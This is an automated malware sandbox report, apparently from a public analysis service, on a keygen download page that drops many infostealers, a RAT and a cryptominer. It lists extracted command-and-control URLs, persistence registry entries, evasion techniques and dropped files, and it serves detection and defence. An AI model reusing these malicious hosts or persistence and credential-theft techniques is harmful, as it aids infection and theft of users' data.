azorult | hxxps://keygenit[.]com/d/0f26cf244e1108834498[.]html

Analysis

max time kernel
104s
max time network
241s
platform
windows10_x64
resource
win10v20210410
submitted
22-04-2021 17:01

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

https://keygenit.com/d/0f26cf244e1108834498.html
Sample

210422-lvh219zgwe

Score

10^/10

azorult dcrat elysiumstealer fickerstealer raccoon redline tofsee xmrig 562d987fd49ccf22372ac71a85515b4d288facd7 discovery evasion infostealer miner persistence rat spyware stealer trojan

Malware Config

Extracted

Family

azorult

http://kvaka.li/1210776429.php

Extracted

Family

raccoon

Botnet

562d987fd49ccf22372ac71a85515b4d288facd7

Attributes

url4cnc
https://telete.in/j90dadarobin

rc4.plain

Extracted

Family

fickerstealer

sodaandcoke.top:80

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat
ElysiumStealer
ElysiumStealer (previously known as ZeromaxStealer) is an info stealer that can steal login credentials for various accounts.
stealer elysiumstealer
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 1 IoCs

Processes:

resource	yara_rule
behavioral9/memory/5248-359-0x00000000004161F6-mapping.dmp	family_redline

Tofsee
Backdoor/botnet which carries out malicious activities based on commands from a C2 server.
trojan tofsee
fickerstealer
Ficker is an infostealer written in Rust and ASM.
infostealer fickerstealer
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518

XMRig Miner Payload 1 IoCs

miner

Processes:

resource	yara_rule
behavioral9/memory/4628-367-0x00000001402CA898-mapping.dmp	xmrig

Blocklisted process makes network request 3 IoCs

Processes:

cmd.execmd.exe

flow pid process

97 4824 cmd.exe
99 4824 cmd.exe
152 3936 cmd.exe
Creates new service(s) 1 TTPs
persistence

New Service
T1050
Downloads MZ/PE file
Drops file in Drivers directory 1 IoCs

Processes:

Ultra.exe

description ioc process

File opened for modification C:\Windows\system32\drivers\etc\hosts Ultra.exe

flow	pid	process
97	4824	cmd.exe
99	4824	cmd.exe
152	3936	cmd.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	Ultra.exe

Executes dropped EXE 29 IoCs

Processes:

keygen-pr.exekeygen-step-1.exekeygen-step-5.exekeygen-step-2.exekeygen-step-3.exekeygen-step-4.exekey.exexiuhuali.exeRWD_.exeJoSetp.exe1499853.exe7361992.exeWindows Host.exeInstall.exeInstall.tmpUltra.exe72DF.tmp.exeultramediaburner.exeultramediaburner.tmpFobaeshelana.exeUltraMediaBurner.exeNifalilogy.exefilee.exeinstEU.exeAddInProcess32.exe9136.tmp.exegoogle-game.exe8DE9.tmp.execmd.exe

pid	process
3092	keygen-pr.exe
1180	keygen-step-1.exe
780	keygen-step-5.exe
3076	keygen-step-2.exe
3996	keygen-step-3.exe
2776	keygen-step-4.exe
1596	key.exe
1948	xiuhuali.exe
1480	RWD_.exe
2088	JoSetp.exe
5008	1499853.exe
5064	7361992.exe
4256	Windows Host.exe
4720	Install.exe
716	Install.tmp
4824	Ultra.exe
4928	72DF.tmp.exe
4692	ultramediaburner.exe
4528	ultramediaburner.tmp
4840	Fobaeshelana.exe
4988	UltraMediaBurner.exe
4336	Nifalilogy.exe
4488	filee.exe
4292	instEU.exe
5248	AddInProcess32.exe
5408	9136.tmp.exe
5912	google-game.exe
5948	8DE9.tmp.exe
3936	cmd.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Fobaeshelana.exekeygen-step-4.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation	Fobaeshelana.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation	keygen-step-4.exe

Loads dropped DLL 9 IoCs

Processes:

rundll32.exeregsvr32.exeInstall.tmp72DF.tmp.exerundll32.exe

pid	process
8	rundll32.exe
4744	regsvr32.exe
716	Install.tmp
4928	72DF.tmp.exe
4928	72DF.tmp.exe
4928	72DF.tmp.exe
4928	72DF.tmp.exe
4928	72DF.tmp.exe
6060	rundll32.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

7361992.execmd.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Host = "C:\\ProgramData\\Windows Host\\Windows Host.exe"	7361992.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Windows Defender\\Kikygeqewo.exe\""	cmd.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

76 ip-api.com
141 api.ipify.org
180 ip-api.com
250 api.myip.com
251 api.myip.com

flow	ioc
76	ip-api.com
141	api.ipify.org
180	ip-api.com
250	api.myip.com
251	api.myip.com

Drops file in System32 directory 3 IoCs

Processes:

svchost.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies\KNFIAQQP.cookie	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies\KNFIAQQP.cookie	svchost.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

regsvr32.exe

pid process

4744 regsvr32.exe

pid	process
4744	regsvr32.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

svchost.exeAddInProcess32.exe

description	pid	process	target process
PID 880 set thread context of 4196	880	svchost.exe	svchost.exe
PID 5248 set thread context of 5948	5248	AddInProcess32.exe	8DE9.tmp.exe

Drops file in Program Files directory 14 IoCs

Processes:

ultramediaburner.tmpgoogle-game.exexiuhuali.exeUltra.execmd.exe

description	ioc	process
File created	C:\Program Files (x86)\UltraMediaBurner\is-LA190.tmp	ultramediaburner.tmp
File created	C:\Program Files\install.dat	google-game.exe
File opened for modification	C:\Program Files\install.dll	google-game.exe
File created	C:\Program Files\libEGL.dll	xiuhuali.exe
File created	C:\Program Files\Uninstall Information\QPAOTXCOGH\ultramediaburner.exe.config	Ultra.exe
File created	C:\Program Files (x86)\UltraMediaBurner\is-IKHGF.tmp	ultramediaburner.tmp
File created	C:\Program Files (x86)\Windows Defender\Kikygeqewo.exe	cmd.exe
File created	C:\Program Files\install.dat	xiuhuali.exe
File created	C:\Program Files\install.dll	xiuhuali.exe
File opened for modification	C:\Program Files (x86)\UltraMediaBurner\unins000.dat	ultramediaburner.tmp
File created	C:\Program Files\Uninstall Information\QPAOTXCOGH\ultramediaburner.exe	Ultra.exe
File opened for modification	C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe	ultramediaburner.tmp
File created	C:\Program Files (x86)\UltraMediaBurner\unins000.dat	ultramediaburner.tmp
File opened for modification	C:\Program Files\libEGL.dll	google-game.exe

Drops file in Windows directory 1 IoCs

Processes:

MicrosoftEdge.exe

description ioc process

File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	ioc	process
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe

Program crash 9 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
5400	5132	WerFault.exe	F1C1.exe
2456	5132	WerFault.exe	F1C1.exe
4456	5132	WerFault.exe	F1C1.exe
2844	5132	WerFault.exe	F1C1.exe
5368	5132	WerFault.exe	F1C1.exe
5680	5132	WerFault.exe	F1C1.exe
5900	5132	WerFault.exe	F1C1.exe
4388	5132	WerFault.exe	F1C1.exe
5956	5200	WerFault.exe	ABD.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

svchost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

5656 timeout.exe
Download via BitsAdmin 1 TTPs 1 IoCs
dropper

BITS Jobs
T1197

Processes:

bitsadmin.exe

pid process

4328 bitsadmin.exe
Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

4028 taskkill.exe
5216 taskkill.exe
608 taskkill.exe

pid	process
5656	timeout.exe

pid	process
4328	bitsadmin.exe

pid	process
4028	taskkill.exe
5216	taskkill.exe
608	taskkill.exe

Modifies Internet Explorer Phishing Filter 1 TTPs 2 IoCs

Modify Registry

T1112

Processes:

iexplore.exe

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\PhishingFilter\ClientSupported_MigrationTime = 339704ea112ed701	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\PhishingFilter	iexplore.exe

Modifies Internet Explorer settings 1 TTPs 54 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXEMicrosoftEdgeCP.exebrowser_broker.exeMicrosoftEdge.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\FlipAhead	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\HistoryJournalCertificate	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "325876121"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3482941592"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = d0005fd09937d701	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$vBulletin 4	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$Discuz!	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$Telligent	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$http://www.typepad.com/	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\RepId	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30881689"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$blogger	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\FlipAhead\NextUpdateDate = "325924718"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\HistoryJournalCertificate\NextUpdateDate = "325892726"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{F988CC99-A38C-11EB-A11C-4624C1D76809} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\RepId\PublicId = "{FC928AB1-3F4B-4E81-958E-CF62CA799DF3}"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = e0d457d09937d701	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000ad98e1c4c5c1f64cbad3c833b8884b270000000002000000000010660000000100002000000057e16ee6179a4709348a57d7f88cfa2ce3c06ecde9f524d33ac25ae11d75a85d000000000e8000000002000020000000e1f973e5f5c62597c75bbb709fd9a5338a7d04d9023b4f0589e352f780aa7e5420000000fa6e0e590da4b306d26fb266659212b14fd4bdb655cbe3b181bd865ee75aa72c400000005747aaad9f93222b5b2fe8355a170bc237d2156e78ee2b3f495be548950a4b4e4d700efdf235f83476e33017673b73f1ffbfc86d2179ad6274ac9a07b4f6b904	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$vBulletin 3	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3461207941"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\FlipAhead\FileVersion = "2016061511"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$WordPress	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30881689"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000ad98e1c4c5c1f64cbad3c833b8884b2700000000020000000000106600000001000020000000d3dd06671232b8320b80f8e10ddcc0b633ee54ee0a95f957d3ee3d260ed8f870000000000e8000000002000020000000a63062fb3539e0deb6de8c2b9905838276b4606d0ce094448e8fbe7256fdf13f200000006814a1bef1871aefa6d60bdcc00b82018650514ac97de14467bee9134e2f84204000000099be1fbe966b0c27cb59f560a4c3019831f365368172a4faa79fd098f1371c3d247148aad9e17bcbcaa2f555142e61f15af9ffcb856724426477c01470d40b11	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\FlipAhead\Meta\generator$MediaWiki	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "3461207941"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30881689"	iexplore.exe

Modifies data under HKEY_USERS 13 IoCs

Processes:

svchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\Version = "7"	svchost.exe

Modifies registry class 64 IoCs

Processes:

MicrosoftEdgeCP.exeMicrosoftEdge.exeiexplore.exesvchost.exerundll32.exesvchost.exeMicrosoftEdgeCP.exerundll32.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\AdapterInfo = "vendorId=\"0x1414\",deviceID=\"0x8c\",subSysID=\"0x0\",revision=\"0x0\",version=\"10.0.15063.0\"hypervisor=\"No Hypervisor (No SLAT)\""	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\SmartScreenCompletedVersion = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\FirstRecoveryTime = 301bd569d72dd701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VendorId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionIn	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VendorId = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-SubSysId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration\AllComplete = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DeviceId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings	iexplore.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{WW6060MI-ED3Y-MI7M-57W2-EJZ5M77G1X0K}	svchost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{TV2553ZI-PZ3Y-VP7M-68Y0-MJT9X67Z6U7M}	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CacheLimit = "1"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\SettingsVersion = "2"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. = 01000000f3020ed4eb219e453d610c96b4cfd5aaa3ffec39cffb3c455863bc56bc1860309a34bf3ff02cb3a8f55fd3249d728cd6a035af2a22f97517b28a07e4e14298a337d79115f8e46702db57af407167d8a1cf44d8c0b1d9b10f1a1f	MicrosoftEdge.exe
